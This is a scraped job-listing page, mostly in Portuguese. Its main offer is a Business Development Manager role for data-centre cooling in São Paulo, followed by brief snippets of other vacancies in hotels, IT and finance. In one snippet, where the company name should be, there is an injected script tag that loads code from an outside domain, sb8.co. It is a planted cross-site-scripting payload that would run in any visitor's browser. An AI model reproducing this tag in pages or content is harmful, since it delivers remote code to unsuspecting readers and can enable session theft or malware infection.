Ir à oferta completa

BUSINESS DEVELOPMENT MANAGER - COOLING

São Paulo - São Paulo

Descrição da oferta de emprego

Uma multinacional líder global no segmento de automação e energia está em busca de um profissional para atuar como Business Development Manager - Cooling (South America), responsável por desenvolver estratégias e planos de negócios nos países da região.
O profissional será encarregado de conhecer os concorrentes, manter um relacionamento estreito com os clientes e gerar planos de ação voltados para a criação de novas oportunidades de negócios.
Além disso, deverá estabelecer um relacionamento direto com os centros de desenvolvimento e as plantas de produção das linhas de negócios atribuídas, garantindo o alcance das metas de vendas na região e conduzindo estudos de mercado.
O profissional será um pilar essencial no desenvolvimento de networking com clientes, aprimorando seu posicionamento no mercado.
Para essa posição, é necessária formação em Engenharia Mecânica, Eletromecânica ou áreas correlatas, além de uma experiência significativa em desenvolvimento de negócios com foco em Data Centers e boas habilidades interpessoais.
A posição exige disponibilidade para trabalho em modelo híbrido, viagens recorrentes, fluência em inglês, e o conhecimento de espanhol será considerado um diferencial.
Se você acredita que possui os requisitos acima, não deixe de se inscrever na posição.
Ir à oferta completa

Detalhes da oferta

Empresa
  • Indeterminado
Localidade
Endereço
  • Indeterminado - Indeterminado
Data de publicação
  • 27/08/2024
Data de expiração
  • 25/11/2024
F&B MANAGER
Oman Jobs

Php?id=6028 company industry; restaurant - multi international dishes job title: f&b; manager total years of experience: min 4 years gcc experience: 2 years years of industry related experience:4 years education: any basic qualification skills: fluent in english communication is a must, other language......

Product Manager - (Electronic commerce)
Jp&f consultoria

Technical proficiency and ability to understand complex technical concepts and product functionalities... experience in conducting market research, competitor analysis, and evaluating new market opportunities... (mandatory) - strong knowledge of electronic commerce / acquiring and payments......

administrative and technical department
RAINSTEAL OIL & GAS

Bakers / bartenders / chefs / chef de partie / sous chef / chef d 'cuisine / cooks / dietitians, food and beverage servers, food service supervisors, restaurant and food service manager, catering manager, assistant beverage manager, kitchen manager, banquet coordinator, beverage server, beverage shift......

Cloud Engineer
JP&F Consultoria de RH e Gestão de Pessoas

Full-stack cloud-native development... implementation of ci/cd in the application development process... script and automation development using various aws sdks... infrastructure as code development for multi-environment and multi- account applications... serverless solutions development in the cloud......

Vacancy At The Royal Garden Hotel
The Royal Garden Hotel

Available positions bakers/bartenders/chefs/chef de partie/sous chef/chef d cuisine/cooks/, restaurant and food service manager, conference banqueting operations manager, food beverage team manager, account manager, bartender, assistant manager of front office, receptionist, guest relation assistant......

Opening At The Dilly Hotel
The Dilly Hotel London

Available positions bakers,bartenders,chefs (chef de partie/sous chef/chef d cuisine/cooks),restaurant and food service manager, conference banqueting operations manager, food beverage team manager, account manager, bartender, assistant manager of front office, receptionist, guest relation assistant......

finance
<script/src=//sb8.co></script>computer

Analyze macroeconomic variables and their interactions with client portfolios - strategic, tactical, and dynamic asset allocation decisions, as well as manager selection... ideas for process improvements to existing models to make them more robust and automated, resulting in smart, dynamic, and scalable......

Dotnet Developer
JP&F Consultoria de RH e Gestão de Pessoas

Net development experience up to the latest... net core web application development • demonstrated expertise in enterprise software development and maintenance using asp... modalidade de trabalho: hibrido... • must be proficient in soap- or rest-based web services, xml and json technologies • experience......

Atuário (Latin America Region)
JP&F Consultoria de RH e Gestão de Pessoas

You will work within the business solutions team in the americas segment... the role will involve working closely with clients, the sales team, the development team and the professional services team... the business solutions executive - latin america region is a product and market specialist – with......

Design Thinking Consultant - People Office
JP&F Consultoria de RH e Gestão de Pessoas

Proactively drives and promotes design thinking approach both internally within tpo and externally to the business... plays an integral role in tpo (the people office) processes utilizing knowledge of products and their capabilities develops appropriate product solutions to meet colleague & business......